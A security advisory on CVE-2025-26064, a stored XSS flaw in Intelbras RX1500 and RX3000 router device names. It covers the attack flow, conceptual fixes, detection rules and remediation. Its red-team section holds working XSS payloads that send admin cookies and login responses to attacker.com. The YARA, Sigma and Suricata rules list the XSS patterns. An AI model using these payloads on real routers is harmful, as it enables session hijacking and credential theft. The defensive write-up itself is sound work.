CVE-2025-26064

Executive Summary

CVE-2025-26064 is a stored Cross-Site Scripting (XSS) vulnerability affecting Intelbras RX1500 (v2.2.9) and RX3000 (v1.0.11) routers. An attacker can inject arbitrary web scripts or HTML by crafting a malicious payload into the name field of a connected device. This vulnerability allows for session hijacking, credential theft, and further lateral movement within the network. The vulnerability is publicly known but currently unpatched by the vendor.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, the vulnerability can be assessed based on its characteristics:

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Requires access to the router's management interface.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed (C) – The vulnerable component (router) impacts the victim's browser.
• Confidentiality (C): High (H) – An attacker can steal session cookies and credentials.
• Integrity (I): High (H) – An attacker can modify the router's configuration.
• Availability (A): Low (L) – An attacker could potentially cause a denial of service.

Threat Level: High. The vulnerability is easy to exploit, has a public proof-of-concept, and affects widely deployed routers.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of the Intelbras routers. When a device connects to the router, its hostname or a user-defined name is stored and later displayed on the "Connected Devices" page. The application fails to sanitize or encode this input before rendering it in the HTML.

Attack Flow:

1. Reconnaissance: An attacker identifies an Intelbras RX1500 or RX3000 router on the network.
2. Access: The attacker gains access to the router's admin panel (often via default credentials or brute-force).
3. Injection: The attacker navigates to the "Connected Devices" section and adds a new device with a malicious name, e.g., <script>alert('XSS')</script>.
4. Trigger: When an administrator or any user views the "Connected Devices" page, the script executes in their browser.
5. Exploitation: The attacker can use this to steal session cookies, redirect to phishing pages, or execute further commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly outputs the device name without sanitization
echo "<tr><td>" . $device_name . "</td></tr>";

Patched Code (Conceptual):

// Patched: Uses htmlspecialchars to escape HTML entities
echo "<tr><td>" . htmlspecialchars($device_name, ENT_QUOTES, 'UTF-8') . "</td></tr>";

The patched version ensures that any HTML or JavaScript in the device name is rendered as text, not executed.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Hardware: Intelbras RX1500 (v2.2.9) or RX3000 (v1.0.11) router.
2. Network: Connect the router to a switch and a client machine (attacker).
3. Access: Log in to the router's admin panel (default credentials: admin/admin).

Exploitation Steps:

1. Inject Payload: In the "Connected Devices" section, add a new device with the following name:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Trigger: The admin views the "Connected Devices" page.
3. Capture: The attacker's server receives the admin's session cookie.

Advanced Payload:

// Steal credentials and perform actions
fetch('/login.cgi', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'username=admin&password=admin'
}).then(r => r.text()).then(data => {
    fetch('http://attacker.com/exfil?data=' + btoa(data));
});

Blue Team (Defensive)

Detection:

1. Monitor Logs: Check router logs for unusual device names containing <script>, onerror, or javascript:.
2. Network Traffic: Look for outbound connections to unknown IPs from the router's admin interface.
3. User Behavior: Alert on multiple failed login attempts followed by a successful login and device addition.

Mitigation:

1. Isolate: Immediately disconnect the affected router from the network.
2. Reset: Factory reset the router and change all default credentials.
3. Update: Apply any firmware patches from Intelbras as soon as they are available.
4. Monitor: Implement network monitoring to detect similar XSS attempts.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from the router to unknown IPs on port 80/443.
  • Unusual User-Agent strings in router logs.
• File System:
  • Modified configuration files containing <script> tags.
• Logs:
  • Router logs showing device names with HTML/JavaScript content.
  • Repeated login attempts from a single IP.

Detection Engineering

YARA Rule

rule Intelbras_XSS_DeviceName {
    meta:
        description = "Detects XSS payloads in Intelbras router device names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26064"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Intelbras Router XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in device names on Intelbras routers
author: Valters IT
logsource:
    category: application
    product: intelbras
    service: router
detection:
    selection:
        EventID: 1001
        DeviceName|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate device names containing similar strings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Intelbras XSS Exfiltration Attempt"; flow:to_server,established; content:"GET /steal.php?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Change the default admin password and disable remote management if not required.
2. Vendor Patch: Monitor Intelbras's official website for firmware updates. Apply the patch as soon as it is released.
3. Workaround: If patching is not possible, restrict access to the router's admin interface to trusted IPs only.
4. Long-term: Implement input validation and output encoding for all user-supplied data in the router's web interface.

Valters IT
Securing Digital Frontiers